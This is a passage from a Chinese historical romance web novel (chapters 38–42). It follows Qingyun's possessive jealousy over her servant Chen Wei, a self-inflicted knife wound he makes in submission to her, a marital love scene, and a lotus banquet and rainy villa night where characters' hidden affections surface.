白兰俯身半蹲在清蕴面前,即便觉得羞于启齿,还是仰首,略带祈求地看向主子,“我……喜欢陈危,可不敢亲自向他表明心意。他最是听主子您的话,夫人可以帮我问问吗?” 清蕴面上仍带着笑,脑海里已空白了一瞬,“陈危?” “是。”真正说出口,白兰就克服了女孩儿的羞涩之情,索性身边只有熟悉的主子和白芷,微微颔首,“起先只是觉得他很木讷,后来才发现他为人很可靠,主子交办的差事都能毫无差错地完成,平日里一些小事找他帮忙,也不会拒绝。正是我娘常说的那种,可靠又稳重的人。” 白兰不是甘于等待安排的人,从她当初得了银子,能够先用于打扮自身,把自己荐到王家这件事就能看出,她很有自己的想法。 她最初其实没正眼看过陈危,瘦巴巴的小子,比自己还小一岁,实在没什么吸引人的地方。待两人年岁渐长,陈危身子抽条、长高,不仅容貌越发好看,展露出的干练气质也越发明显,白兰就忍不住常常投去目光。 她总说陈危不接受管家安排去干正经活儿,只愿听主子的话,何尝不是因为一直在注意着他。 可陈危太内敛了,白兰有事找他帮忙,他看在主子的份上不会拒绝,但若是送点心送荷包,就一概拒绝。 白兰拿不准他的心思,再加上陈危如今总跟在齐国公身边,很得赏识。白兰担心日后他出人头地,两人距离会越发远,所以想到了陈危最为顺从的主子。 倘若主子愿意帮自己说两句好话,陈危也不会直接拒绝她罢。白兰如此想。 “你们私下,经常接触吗?” 未曾注意到清蕴过于平静的脸色,白兰含羞带怯地修饰,“陈危常为夫人办事,一来二去,我们就熟起来了,偶尔也会一起说话谈心。” 白芷担忧地看向清蕴。 她虽然不明白主子对陈危的感情,但从那天在帐中情形看来,主子绝不会乐意看到陈危和其他人在一起罢。 “这样吗?”清蕴垂下眼帘,“等他和公爷回府,就让他过来,我帮你问问。” 第39章 “跪下。”她轻声。 应下白兰后, 清蕴一整天做事都心不在焉,几度走神。 修剪兰草时,她不知不觉把整盆草都剪秃,回过神来, 若无其事地让人把它处置掉。 强迫自己看完了一本杂书后, 她思绪稍稍沉静。 今天齐国公和以往一样, 回来得不算早。门房传来消息时, 夜色幽暗朦胧。 所幸今天李秉真传消息回,说他要在外用饭, 晚些归家,白芷依旧按吩咐去请陈危。 白兰没有在场,她就待在里屋,听清蕴问话。 门窗大开,甬路尽头的人影刚出现, 就被昏暗的灯光捉住。随着他快步穿过院落, 走到门外问候时,已经超出八尺的身高几乎要顶上门框。 陈危今天应该随齐国公去了宴席或酒肆,身上传来淡淡的酒香, 经风久吹而不散,自己恐怕也饮下不少。 他神色不显,步伐快而稳,三两下就到了清蕴面前。 如白兰所言, 他年纪少, 但已彻底长成了。跟随齐国公历练这么久, 让他的沉默干练之余, 还添了种飒气、英武。 看来齐国公拒了收他为“义子”的提议,但没有因此放下培养他。 烛光照不清他低垂的眉眼, 清蕴也没有抬眸细看,只转动腕间玉镯,沉默了好一会儿。 随着白芷奉上茶水,两个木头人活过来,清蕴神色如常地问他回京后在齐国公身边的生活。 陈危一一答好。 “你也到了这个年纪,可曾有人说亲?”说着说着,转到这个话题。 陈危答得很快,说不曾。 “家中亲戚也没有?” “父母双亡后,仅有叔父愿意把我养在身边,我身边仅有这一个亲人。” 里头白兰听了,暗暗思量。陈危的叔父陈管家如今是有名的“痴儿”,被王家养在庄子里,倒无需陈危时时刻刻孝敬。无父无母,虽艰难些,对她来说倒是好事,省去伺候公婆的麻烦,也不必担心兄弟姊妹太多,有纷争。 果然,有些事,陈危只有在夫人询问时,才会老老实实地答。不像她,此前无意中问过几次,都不知他家中境况。 “你自己呢,怎么想?” “陈危只想认真为主子办差,奉养叔父。” 听到这儿,白兰忍不住悄然从里屋帘子里挑出一丝缝隙,观看陈危脸色。 然而陈危背对着里屋站立,主子也是端坐圈椅,仅得侧颜。 主子抬手端起茶杯,刚碰到唇又放下,陈危便上前为她添了热茶,听着不解风情,眼力劲儿又实在好。 她等待主子提起自己。 清蕴很快提起白兰,“你觉得白兰如何?” “是主子身边的人。” “然后呢?” 陈危似乎愣住了,不知如何回答,好半晌才道:“不知。” 白兰有些失望,但又觉好笑,陈危就是这么个性子,看来在主子面前也一样。真是木讷,主子问这么多,难道就没联想什么? 她的目光透过帘缝,忍不住在陈危身上流连,因此没有注意到,清蕴并没喝陈危递来的茶,而是自己另斟了杯。 陈危的愣怔,正是来自于此。 “以前同在王家,如今又同在我身边,说‘不知’未免有故意撇清干系之嫌。”清蕴似乎极淡笑了下,“还是说,你有什么事不好意思对我这个主子倾诉,而是要私下对白兰说?” 陈危终于反应过来,出声道:“我和白兰确实不熟,除去同为主子办差,私下没说过话,也没有他意。” 有些事,点到即止就可,不必问得太过清楚。 白兰听到这儿,虽隐隐有预感,还是不由攥紧帘子,透出纠结心境。 她没了再听下去的兴致,悄无声息地离开。 外屋,知晓白兰离开,白芷也紧接着走出门,清蕴脸上所有的表情瞬间收敛无声。 “跪下。”她轻声。 陈危毫无异议,双膝一前一后落地,跪在她身前。 清蕴心中盘旋整日的莫名怒火并没有因他顺从的动作消失,反而愈烧愈烈。 她冷冷看着灯下陈危,即便跪着也仍显高大的陈危。 他沉默时,心中在想什么,除了陈管家,会有白兰吗? 在她没看见的时候,两人私下到底接触过多少次,说过什么话?他会像对待自己一样,渐渐为白兰献上一切吗? 除去白兰,是不是还有红兰绿兰黑兰? 他为什么不能更低调些、沉默些,不要那么显眼?送他去齐国公身边会不会是个错误? 清蕴脑海中这些杂乱的想法飞快穿梭,她完全没有办法恢复冷静,更没有办法接受陈危将来有可能会属于别人这个事实。 她对白兰没有任何情绪,没有不满,没有愤恨,没有嫉妒,只是在听到那些话后,所有的思绪汇集,都变成了一句。 陈危背叛了她。 即使如今没背叛,随着年岁渐长,他也终究会罢。 但他的所有权属于她,没有她的允许,他不能、也不应该走向他人。 纤瘦的手指抚上陈危,稍用力,让他微微仰首,看向他的主人。 “白兰喜欢你。” “我会同她说清楚。” “如果之后还有其他人呢?” 陈危沉默,尚未发生的事,他没办法给出解决方式。 但他能感觉到清蕴平静神色下交织的情绪,“我会永远陪着主子,除非您抛下我。” “你用什么保证?” “性命。” 清蕴没在意这个保证,端详他愈发英气的脸,出神道:“也许是你长得太好看了。” 她说:“我不喜欢这样引人注目的脸。” 陈危没说话,无声了会儿,直接从身上取出匕首,朝额头划去。 第一刀,额角立刻出现血痕,鲜血涌出,从几滴汇成几道,避开双眼,顺着太阳穴、额中流淌而下。 他以目询问清蕴,见她冷眼旁观,没有要制止的意思,抬手就要划第二刀,却被挡住。 刀尖轻轻碰到清蕴掌心,戳出一点伤口,混着陈危的血,让手掌显得鲜血淋漓。 “没有我的同意,我也不喜欢你随意伤自己。” “……是。” 陈危用另一只没沾血的手,帮清蕴擦拭掌心。擦拭干净了,再从怀中取出常带的止血药粉,掌心那点伤口就好了大半。 他额头的伤仍在汨汨流血,清蕴没出声,他也就没处理。 渐渐的,清蕴好似被那道伤吸引了,忍不住想抬手触碰。 在触碰到的前一刻,她突然惊醒般,陡然起身,定定看了眼陈危,转身朝内屋去。 ** 李秉真被同僚们留下,在酒楼用了顿饭,席间众人就所修书籍的结尾展开争议,耽搁些许时辰,使他戌时一刻才归家。 月舍院门前悬着两盏风灯,静夜中氤出暖黄光芒,他悠悠然走至院内,才发现里面跪着一人。 凝神细瞧,正是陈危。 陈危头上有道尚未完全结痂的伤口,因未曾处理,伤口处的血块堆成一团,显得狰狞可怖。 对于李秉真的疑惑,陈危答是不小心磕伤的。 “为何跪在这儿?” “我惹了主子生气。” 李秉真稀奇,清蕴生气,竟会气到这个地步,让人大晚上带伤跪在院中? 再询问几句,发现是陈危自愿跪在这儿请罪,李秉真摇头,“她最器重你,怎么会让你这样罚自己?先回去治治伤口,明日再来。” 李秉真也能算陈危的主子,但他没听,依旧执拗地、笔挺挺地跪着。 这样的他,让李秉真莫名想到某些时刻的清蕴。他们主仆二人毫无疑问是互相了解的,彼此了解的程度,也许远胜他这个半路出现的夫君。 没有再劝,径直入屋,发现清蕴没有在篦发、看书,而是早早躺进被褥,一副熟睡模样。 洗漱后,李秉真轻手轻脚地入榻,就发现清蕴转了过来,那双清凌凌的眼中哪有睡意。 但也没什么情绪,仿佛正在放空,又仿佛在神游。 李秉真轻拍她,等人看向自己再问,“陈危做了什么事?” “……没什么。” 手无意识搭在李秉真身前,胸口盘踞的那股的情绪仍未彻底消失,如同一根鱼刺卡在咽喉,拔不出来,咽不下去。 如果能把陈危关起来就好了。躺在床榻上的时候,她一度冒出这种想法。 放任他在外面,迟早会有更多的人受他吸引。白兰不成功,还会有其他人。如今她有这个实力,可以把想法付诸现实。 甚至思考了几种方式,不会太引人注意,又顺理成章的方式。 会很可怕吗?他会同意吗?清蕴静静地想。 如果他拒绝了,清蕴知道,自己情绪定又会起极大的震荡。 既不喜这种情绪失去掌控的感觉,又无法克制自己。 她都不曾意识到,自己正在轻轻地咬着指腹,齿尖无意识地摩挲。 “如果有烦心事,不妨和我说说。”李秉真温声道,“我毕竟痴长你几岁,有些事,兴许能给出建议。” 清蕴没有回答这话,抬首凝视他。 他是她的夫君,也是完全属于她的。 忽然,柔腕蜿蜒而上,攀上他的肩头,俯身吻住李秉真。 不意她如此主动,李秉真心神微动,稍不注意,便被她带入这股缠绵的柔情之中。 烛光摇曳,衣衫渐褪,二人慢慢赤诚相对,只是不像上次,这回的清蕴居于上位,占据绝对的主动权。 李秉真近乎痴迷地看着清蕴额头凝成的一滴香汗,视线随它缓缓滑落,自上而下,经过高山雪峰,淌过温暖平原,最终汇入溪流。 即便在做极乐之事,清蕴情绪仍是静的,甚至淡漠,那双眼似映入了他,又并未在看他。 曾卧巫云见神女。李秉真忽然想到这句诗,而此刻,他正得神女垂怜。 他忽然起身,抱住这位正施予自己的神女,相对而坐,连成一片的地方瞬间更加紧密。 清蕴微微仰首,发出难耐低吟。 “快些。”她道,然后抱住李秉真。 随着这一声话落,疾风骤雨忽然扑来,她宛如在海面险行的一叶扁舟,随同着起起伏伏,好半晌才跟随找到节奏,身体颤巍巍的,快乐充斥着大脑,让她终于无暇再去想其他。 风雨停歇时,二人仍保持着相对而抱的姿势,彼此唯余重重喘息。 李秉真抬起埋了许久的头,拂过她额前被汗水黏住的发丝,还有几缕被含入口中,随着他的动作,湿哒哒地回到肩侧。 身下锦被也完全是湿泞一片,显然无法再睡了。 他轻声,“先去净房擦洗,我让人重新铺床。” 眼见清蕴去了净房,他起身趿鞋,唤来春风夏至,自己则披上外衣,喝了口温水。 支开窗户,清辉洒入,将他修长的身姿笼在其中。 李秉真看见院中仍跪着的那道身影,目中若有所思。 清蕴今夜的失控,应当和陈危有关。 第40章 山青卷红烟 火日炙人, 夜晚也有股挥之不去的闷热。 即便书房四角置了冰块,张颖拔下金针时,额角还是流下一滴豆大汗水。这针的位置不能有分毫偏差,每每施治, 都必须全神贯注, 耗费极大的精力。 幸而病患配合, 能静坐在那儿近一个时辰不动弹。 随着最后一针被拔下, 李秉真僵直的身体摇晃了下,被张颖及时扶住, 递上唾壶,“想吐血就吐,不要忍。” 看着李秉真吐出几口血水,张颖感慨,“我曾给自己试过各种针法, 给世子施的这种名为枯木逢春, 虽能焕发生机,却也伴随着万箭穿心之痛,世子真是能忍常人不能忍。” 相较于以往的尖锐, 他面上总算有了医者的仁慈宽和之色,“只要再寻到那几味药,我就有七成把握,只是要痛个一两年。” “一两年而已, 我还受得住。”李秉真道, “还要多谢张叔你为我费尽心力, 想出这种诊治之法。” 这是他下定决心使用此法后的第二次施针, 身体暂时还没有太大改善,但他相信张颖的医术。 张颖正色, “丑化说在前头,七成把握是我估摸的,若是药没找到,或是中途出了差错,都有可能功亏一篑,比以往更差。更甚者,直接丧命。” 李秉真颔首,“在这之前,张叔已经说清楚,我也听得明明白白。” 察觉他的认真,张颖暗暗松了口气,口舌恢复犀利,“两年前我对世子提起这个方法,你让我不要再提,一副等死的模样,如今却主动尝试。果然是成婚的人不一样了,舍不得自己那如花似玉的小夫人罢。” 早知如此,他就向大长公主提议让世子早点成婚了。 养气功夫深厚如李秉真,对张颖辛辣的讥讽也能含笑纳之,“时移世易,想法自然会变化。” 不可否认的是,因清蕴的到来,他的确想拥有更健康的身体、更长久的寿命。 披好中衣,他亲自送张颖出书房,让下人引其出府。 喝了几杯温水,藏翠入内,递来几封信,里面记载着近日朝堂内局势以及父亲齐国公的动向。 李秉真一目十行阅过。 如今朝堂以及内阁之中,已经隐隐都以首辅柳文宗为首,原本摇摆不定的人渐渐开始坚定立场。皇帝对这种情形,竟再没有此前一家独大的担忧,反而越发放权,也越发沉浸于享乐。 他把信烧毁,再拿起最后一张纸。 有关陈危种种现于纸面,从出生、亲朋、师承到在王家的风评。 毫无疑问,这是个极其简单的人,如他表现的那般,仿佛一眼就能望到底。 但李秉真在想,陈危那看似忠诚的表象下,究竟隐藏了什么秘密? 指尖划过陈危及其叔父到江苏陆家接清蕴的那行字,李秉真眸色不明。 ** 六月中旬,云阳长公主在别庄举赏荷宴,邀了京中许多人,齐国公府也在其中。 李秉真本没兴趣,思及近日清蕴情绪平平,便应下来,作出门散心。 宴会定在临近酉时,不至于炎热,亦能在晚霞中欣赏菡萏葳蕤。 “夫人要戴哪对耳坠?”白兰手中捧着一对八珠环和一对金丝玉兔耳坠,笑盈盈问道。 清蕴选了前者,白兰赞道:“我先前也想着这副最衬您的气质,端庄雅丽,和今儿的紫袖衫正相配。” 白兰惯会讨人欢心,一番妙语连珠,让白芷忍不住看过去,多少是有些佩服的。 那天主子询问陈危,白兰明确听到陈危对她无意,沉寂了一晚上,第二天就恢复神采,和往常一样侍奉主子。 白芷稍微问了几句,白兰道:“没事啊,我早知那小子没开窍,拒绝了也不稀奇。本想着主子开口,他兴许会多考虑下,现在看来还是那个木头性子。幸好我在主子身边服侍,月俸丰厚,家里那边不敢轻易催我成亲,也不必急这事。” 听她言语,似乎有继续慢慢打动陈危的意思,白芷不着痕迹劝了几句,不知白兰听没听进去。 妆扮好,夫妻二人乘马车悠悠至云阳长公主的京郊别庄。 这儿离国公府有半个时辰的车距,两人早已决定好,宴席结束后就在自家的庄子里歇息。李秉真正逢休沐,还能在外游玩几日。 别庄占地极大,毗邻山峰,便将山峰一角的湖水划入其中,传闻中的万里芙蕖正栽种其中。 仆役引二人往青烟湖去。 尚未接近,已嗅隐隐荷香。湖畔有料峭山峰,溪水顺岩壁坠落,形成飞瀑奇景,引得湖面水汽氤氲,荷花在其中若隐若现,宛若仙境。 “尚未开宴,客人可要乘船近观?”仆役笑着提议。 湖面确实有不少精致小船,和飞瀑保持不近不远的距离观赏,伸手便可触碰娇荷,极为惬意。 离得远,看不清具体容貌,但看得出既有年轻夫妻,也有结伴同游的男男女女。 这样看,倒有些仲春宴的感觉。 来之前,清蕴就听说这场赏荷宴确实有为年轻男女牵线搭桥的意思,云阳长公主的女儿今岁十六,也许想让她看看如今京城的各式郎君,从中择婿。 索性无事,夫妻俩也要了一艘船。因都没有撑船的经验,另要了个船夫帮忙划船。 越靠近飞瀑,湿润感愈发明显,船夫适时停下,任小船在水波中轻轻摇晃。 抬眸望去,银河倒泻、飞珠溅玉之景映入眼中。茫茫湖面中,万里芙蕖盛开,田田荷叶蔓延至天际,上下一线,美不胜收。 身处如此壮景间,和面对狂风骤雨、满山飞雪其实很相似,能感受到人之渺小,也能感受到和天地、和自然万象无限接近。万事都能暂时搁置,唯余静静赏景。 好半晌,李秉真道:“山青卷红烟,此前总听说青烟湖之美,这还是第一次来。” 清蕴轻嗯了声。 船夫回首看了眼两位气度风流的贵客,道:“每逢夏日,青烟湖就有许多闻名而来的文人雅士。殿下从不会拒绝外人造访,还特意修建了一排房舍供游人歇脚。客人们若喜欢,可常来赏景。现在时候其实还稍微早了些,到七月中旬,荷花开得更好。” 又建议,“庄子里还有闲散画师,客人若有需要,可出资让画师留相。他们的画技通常和银子一样,付得越多,画得就越好。不过以夫人的容貌,怎么画都是仙子。” 朴实的赞美之词让清蕴不由展颜一笑,刹那间绽放的容光令船夫微怔,转向李秉真,真诚道:“公子真是好福气。” 李秉真笑回:“多谢,在下深以为然。” 话语间,船身忽然微微震荡起来,几人同时偏首,见一只小船不知何时飘来,和他们船身相碰。定睛看去,上面坐姿随意,捏着酒壶的,不是李审言又是何人? 他简单打了声招呼,没有投来过多视线,船身相碰看起来似乎也是偶然。 清蕴先想到的是,他如今随侍天子,难道那位也来了这儿?转念意识到,如果建帝当真驾临,他就不可能悠闲地乘船游玩,应当只是应邀而来。 倒不奇怪。 齐国公和大长公主和离后一段时日,太夫人就有意为李审言谋亲事,若非兄弟俩关系特殊,她又年少,太夫人恐怕还要对她交托重任。 今日他赴宴,恐怕多少有太夫人的推动。 两方不曾寒暄,李审言站起身,撑杆在水面轻轻一拨,船身瞬间淌出丈远,引得船夫忍不住赞了声,“好俊的功夫!” 这道在湖面上的潇潇身影,也引起周围小船注意。 从前低调的李审言,如今倒是越发肆意了。 夫妻俩收回视线,都没把小插曲放在心上,慢慢赏景,待时辰差不多了,再回庄内参宴。 云阳长公主和建帝并非一母同胞,却是他唯一一位留在京中的姊妹。其他的,若非和驸马一起去了别地,就是早逝。 这位长公主在京中出名的性子好,在建帝面前也有些地位,所以受到邀请的,大都不会拂她脸面。 宴席所在处,亦是水榭环绕,风景绝佳。每隔几步,便置明角灯照明,宾客如云,衣香鬓影。 李秉真作为表弟,带清蕴去向长公主问好。 “这儿风景如何,可还满意?”云阳长公主问。 “不负盛名。” “以前我多次邀你,都说没空,今儿怎么突然有空了?” 她话是问李秉真,双眸却在瞟着清蕴,笑盈盈地打趣表弟。 说了几句,见表弟媳似有些羞涩,便适时止住,“永平也来了,正和福宁一块儿玩呢。你们若是无事,不妨就待在我身边,不然待会儿开宴,他们认错人了可不好。” 凡举这种宴会,都有个不成文的规矩,若对哪家公子或姑娘有意,可让身边仆从赠去绢花、手帕,双方若彼此有意,家世也合适,指不定就成了。 云阳长公主觉得,以弟弟、弟媳的样貌气质,若是被人错认,各收到一堆礼物,那可就有的笑了。 李秉真从善如流地应下,在附近落座。 主座旁边视野好,也是此时,清蕴才看见王宗赫也在场中,且座次和李审言极近。 他作为今年的新科状元,自是备受瞩目,相貌有种极为端正的俊美,稳重自持,是长辈们一看就会很满意的郎君人选。李审言虽然同样样貌出色,但他举止过于随性,看起来颇有种玩世不恭的浪荡子模样,兼之他传出的事迹也让众人的看法褒贬不一,投在他身上的目光明显比王宗赫少许多。 清蕴第一次参加这种宴会,觉得还挺有趣。 云阳长公主很贴心,没有让众人吃冷菜,菜肴大都是一道道上,且大都与荷花有关,美景美食同赏,既有口福,也不失风雅。 席间有各式活动,观舞过后,便是宾客们对诗、行令、作画、填文,热闹不止。王宗赫似乎不欲出风头,全程表现中规中矩,倒是有些人似乎故意针对李审言,几度提起他,都被他轻松化解。 清蕴不曾参与其中,但看得很尽兴。以往在王家,她基本是随大舅母郑氏和表姐赴宴。 郑氏不喜欢她出风头,她就很少参加这类宴会,大都是平淡地吃吃喝喝就归家。 宴至一半,她和李秉真打过招呼,带着白芷去更衣。 女客更衣处置于湖畔,解决所需后,还可在周围漫步赏景。正好坐得久了,清蕴就走慢些。 到岔路口时,前方传来一阵声音,靠近了,才听出是道男声,在大发牢骚。 “什么李校尉,不过是个媚上的佞幸,竟也敢作出那副傲气模样,对人爱答不理,真是小人得志!” 原来是被李审言下了面子的人,大约是找他说话,却被敷衍了事。 清蕴听到此人身旁另一道声音在连连附和,两人三言两语间,简直把李审言说成在皇帝面前摇尾乞怜的小狗。 从几句话中,就能知道这两人成色,不过是自己不得志,就嫉妒成狂。对于他们的话语,她不以为然。 世上谁不想得到权势,李审言能够以这样的方式亲近天子,那是他的本事。以他的处境,能够想到这种出路已经算不易。如果旁人有他的机会,能够凭此得到皇帝欢心,恐怕会比他更加谄媚。 “不急,稍后我去找他敬酒,然后再……”二人开始近身耳语,隔着花木,清蕴听不清内容。 但他们的谋算还未完成,便伴随着“哎哟”两声结束。 收回脚,李审言叉手拢袖,“两位大人怎么如此不当心,摔进了池子里,莫不是喝醉了?” 那两人面如土色,哪能不知背后算计都被正主听在耳中,顾不得身在水中,出声赔罪。 李审言扯了下唇,竟没再说什么,抬脚径直掠过了两人。此举让他们心中惴惴,疑心对方已想出报复自己的方式。 这厢,冷不丁对上越过来的李审言,清蕴心中惊了下,面色如常,对他点头示意。 李审言同样没说话,用一种审视的目光看了她几息,再迈步而去。 40-50 第41章 别庄夜雨 清蕴目送李审言离去, 他那捉摸不定的目光让她有些疑惑,但并未多想,继续沿着湖畔小径往回走。 转过月季丛,快到宴中时, 白芷忽然道:“是三公子。” 抬头望去, 王宗赫面前站着一位端庄妇人, 正含笑与他交谈, 其后作未出阁妆扮的少女有几分眼熟。 少女百无聊赖地游走视线,忽然看到清蕴主仆, 目光相接时,两人心中都泛起涟漪。 是之前在珠宝阁遇见的柳晚。 当时柳晚与身侧青年举止亲昵,清蕴以为二人已经有婚约,但看这情形,柳家长辈似乎有意撮合她和三哥。 柳阁老势大, 想和他家结姻的人不知凡几, 能够主动找上王宗赫,要么是十分看重他,要么是看中了外祖父王贞。 清蕴几乎立刻想起那枚信的内容, 不由想,外祖父究竟是何时起与柳阁老有联系的? 官场上的事,有时候确实令人难以捉摸。 随着柳晚动作,王宗赫和妇人也看了过来, 前者动作一滞, 与妇人说了句什么, 朝清蕴走来。 他似乎不知该如何开口, 站定几息才道:“怎么不见世子?” “他在席中,我出来走走, 马上就回了。” “嗯。”王宗赫微顿,“我奉令来参宴。” 清蕴微微一笑,并未对“奉令”二字多做追问,也不欲打搅他们几人谈话,简单对话后,很快就回到坐席。 袖间沾了几片细小绿叶,李秉真为她拂去,推来食盘,“这道炸荷花不错,香甜而不失清新。” 炸荷花是济南府的特色甜食,清蕴略有了解,大致是由面粉、白荷混合油炸而成,撒上糖粉,简单而不失风味。茶楼那边就引进了这道点心,很受欢迎。 她略微品尝几口,再看了会儿旁人对诗,就感觉回到席间的柳晚目光时不时落在自己身上,似乎欲言又止。 果然,没过多久,柳晚便找了个借口,请她到一旁说话。 “陆夫人,有件事想请你帮忙。”柳晚的声音压得很低,内容虽是恳求,语气倒和那日珠宝阁相差不大。 看得出,她是个很傲气的女子。 余光从她腰间的虎形玉佩掠过,清蕴心中了然,面上却不动声色:“柳姑娘请说。” “那日在珠宝阁的事,还请你和世子不要对外人说道。” 本来撞见就撞见了,柳晚不信这两人能闲得去柳家告密。但刚才的偶遇让她忽然意识到,这位世子夫人和状元郎是表兄妹,且在王家相处近十年,感情可能比同胞兄妹差不了多少。 故有此一行。 “珠宝阁何事?”清蕴淡笑了下,“柳姑娘莫不是记错了,我们从未在珠宝阁相遇。” 定定凝视她,柳晚松了口气,目中闪过一丝感激,也意识到对方的聪慧圆滑,飞快道:“多谢,若有机会,我一定报答。” 清蕴点头回身。 柳晚特意来请求,就证明与那男子的关系绝非一时兴起,若是王宗赫真的与她议亲,恐怕感情上不会顺利。 然而,她也清楚,自己不便插手此事。王、柳两家有意结亲,考虑到的定不只是两家儿女的感情,还有诸多官场上的考量。 对于这类和自身关系不大、私人情感的事,她一向是冷眼旁观态度。 正如当初见到王令娴和周墨的暗中往来,也全作不知。 ** 宴席将散时,天边滚过闷雷。顷刻间骤雨倾泻,打得众人措手不及。 云阳长公主当即让人引众宾客入内,为游人搭建的那排屋舍在此时就起了作用。 李秉真和清蕴没有入住,国公府的别庄离此处不远,二人向长公主拜别,乘马车到别庄内。 这儿相比长公主那座庄子就小了许多,除去仆役住处,也仅有两间屋子可供歇息,因齐国公和大长公主当初置办时,本就是作夫妻散心之用。 庄子由一对毛姓父子守着,他们提前得到消息,早已洒扫过主屋,备上香汤。 一阵忙碌,檐角铜铃在风雨中叮咚作响。 从上马车后李秉真就一直握着清蕴的手,开始施针后,他格外畏寒,即便在这种夏季的夜雨时,指尖也凉得令人发颤。 李秉真未曾在意这点凉意,低头看清蕴鬓边微颤的珍珠流苏,忽然想起大婚那日喜帕垂落的金穗子。 那时他连迎亲都要靠药物,如今却能牵着她的手在雨中走过这么长的路。 “你先去洗漱罢,换身衣裳。”清蕴察觉了李秉真周身的寒凉。 李秉真没拒绝,朝她点点头,先行去净房。 清蕴则立在窗畔,望着垂落的雨线将夜色织成银帘。白芷刚把铜炉的香灭了,忽然听得院子里传来脚步声。 一柄二十四骨油纸伞堪堪遮住飘摇的雨丝,虎纹暗绣的袍角出现在雨幕中,清蕴认出那是今日李审言的衣着。待来人手上的伞微微抬起,露出的脸果然是他。 夜色里,他的眼眸像被雨水打湿的墨,沉沉落在清蕴身上,又移开。毛老伯来向她解释,道二公子临时要来入住,正好还有一间屋子。 清蕴表示知晓。 但没想到,还未到一刻钟,别庄的门再次被扣响,毛老伯来请示,说来人自称王家三郎,得知别庄所属后,道和她是表亲。 是三哥?清蕴惊讶,让毛老伯将人请来,与王宗赫在檐下相见。 “长公主那儿屋舍不够,我将自己那间让给了别人,本想冒雨归家,途中遇到这间庄子,便来借宿。”王宗赫解释,“没想到正巧是你们。” 如果李审言没来,清蕴自然很乐意让他入住,但李审言占了另一件屋子,庄子里也没有余地,总不能叫表哥去住柴房。 将她的犹豫收入眼底,王宗赫瞬间猜到难处,刚要请辞,见二人果然熟识的毛老伯就已主动请缨,“我去问问二公子,是否愿意与这位王公子同住一宿。” 清蕴连阻止都来不及,人已经灵巧地溜进了对面的屋子。 出乎意料的是,李审言居然二话不说地同意了,至于疏影,则可以和毛氏父子俩挤一个屋子。 在毛老伯指引下,王宗赫先对清蕴道一声谢,随他走去对面。 他们二人相处,应当不至于有问题罢?清蕴略带迟疑地想,转身回房。 …… 夏雨来得突然,除去本就准备好留宿的李秉真夫妇,李审言和王宗赫都没有准备衣物。 王宗赫褪去外袍,准备搭在屏风边晾干,李审言则毫不介意地向毛老伯借了身换洗的衣裳,他厌恶周身湿漉漉的感觉。 李审言快速擦洗换好衣裳,就发现今夜将要同宿的状元郎临窗而立,正望着对面屋子。 暖光映照下,依稀能看到那边人影成双,女子正在为男子轻抚后背,正是夫妻恩爱的画面。 瓦当滴落的雨水在青石板上敲出连绵的韵脚,不少水汽袭入屋内,王宗赫恍然未觉,身影被烛光拓在茜纱窗上,像是定在了那儿。 这可不像赏景的模样。 不知为何,李审言忽然想起傍晚的青烟湖上,那位名义上的嫂嫂回眸时绽开的笑颜,宛如蜻蜓点破春水时漾起的涟漪,美得足以让所有人驻足凝眸。 他若有所思,斜倚博古架,懒洋洋道出一句,“状元郎好雅兴,临风赏夜雨。” 王宗赫回神,不见慌乱,很自然道:“这附近的景致确实很美。” 李审言从小几上捞起酒壶仰首大喝一口,再递去,“可要来些?” “不必,我不擅饮酒。”王宗赫合窗,随手从架子上拿了本杂书。 如今时辰不早不晚,两个完全不熟的人要在今夜共宿,其实颇为尴尬。不过两人一个随性,一个沉得住气,都没表现出局促,也没商议今夜要如何就寝,各自看书、喝酒,倒也互不干扰。 这阵静默没维持太久,叩门声响起,毛老伯道:“王公子,歇下了吗?世子说,若还未歇,请您一同品茶。” 其实是夫妻俩都没什么睡意,李秉真得知庄子里有齐全的煮茶器具和几类安神茶,便想着烹茶取乐,顺便礼貌性地请一请客人。 王宗赫没有拒绝,但他出门时,李审言竟也跟着一同踏出了门槛。 毛老伯嘴唇蠕动两下,终究没敢出声。 带着两人进了主屋,他低着头想,虽然二公子没受邀,但这位和世子是兄弟,总没问题罢。 竖起耳朵,听到屋内响起人声,并没有对李审言的到来表示异议,毛老伯放下心来,为他们关上外门。 屋内,李秉真当然不至于把未受邀的李审言赶出去,只是神色冷淡,本来和睦的氛围瞬间凝滞许多。 潺潺雨声中,四人围坐在外屋。李审言依旧捏着酒壶,烛光映得他本就出众的五官愈发深邃。王宗赫则盯着红泥小炉上沸腾的茶汤,李秉真在执勺煮茶。 李秉真将第一盏茶递给了清蕴,王宗赫的视线自然而然随之移动,注意到清蕴接过茶盏时被热气熏红的指尖。 "前日得了一匣子徽墨,记得三哥最爱松烟。"清蕴忽然出声,"改日让人送去家里。" “多谢。”王宗赫颔首,他当然明白这不是在说墨,而是指之前清蕴问的那件事,“但松烟墨我那儿已备了许多,还是你们留着备用罢。” 李秉真笑了下,“说到墨,我想起前阵子克衡刚来翰林院时,一手好字引得众人称赞,皆自叹弗如。” “是世子和各位同僚过誉。”王宗赫自谦道。 打开话匣,三人由此聊起来。 他们说话时,旁观的李审言也不觉寂寞,兀自饮酒。 他眯起眼睛,一直在无声观察面前三人,敏锐地注意到当茶香弥漫时,王宗赫余光每每不经意扫过某处,喉结就会在烛影里轻轻滚动,那藏在衣袍下紧绷的肩线,像极了狼群窥见猎物时的姿态。 之前在屋内时,他尚且无法确定王宗赫在看什么,如今却是有八分明了。 原来如此,原来端方持重的状元郎,竟藏着这般隐秘的心思,且至今也不曾打消。 惊雷炸响屋檐,清蕴手微颤,半盏残茶泼在手背。 “可曾烫着?”李秉真出声的瞬间,王宗赫也下意识有动作,却在抬手的瞬间硬生生转道扶住案几,沉声道,“可有烫伤药膏?需及时搽药。” “只是一点茶,就算刚斟的,也不至于烫伤。”清蕴用帕子抹去茶水,那儿仅有一点红痕,摇头道,“没事的。” 李秉真并不赞同,王宗赫也直接起身,去找毛老伯问药膏。 李审言喝着酒,突然露出一抹笑。这趟跟过来倒是十分值得,戏台子搭得妙,生旦净末俱全,倒比官场的刀光剑影有趣得多。 第42章 李贵妃产子 药取来了, 王宗赫没再问其他,等待李秉真为清蕴搽药,自己就看着炉火喝茶。他知道自己刚才险些流露心迹,面前的兄弟俩未必没有察觉, 不能再这样大意。 其实无论清蕴成亲前后, 他都很少长时间地光明正大注视她。今晚忘形, 是因为被清蕴看见了他和柳文宗的孙女站在一起, 不免想观察她的神色。 回过神来才自嘲,自己和谁议亲关清蕴什么事。不说她到底知不知道他的心意, 如果知道,可能还会庆幸他终于要和别人定亲。 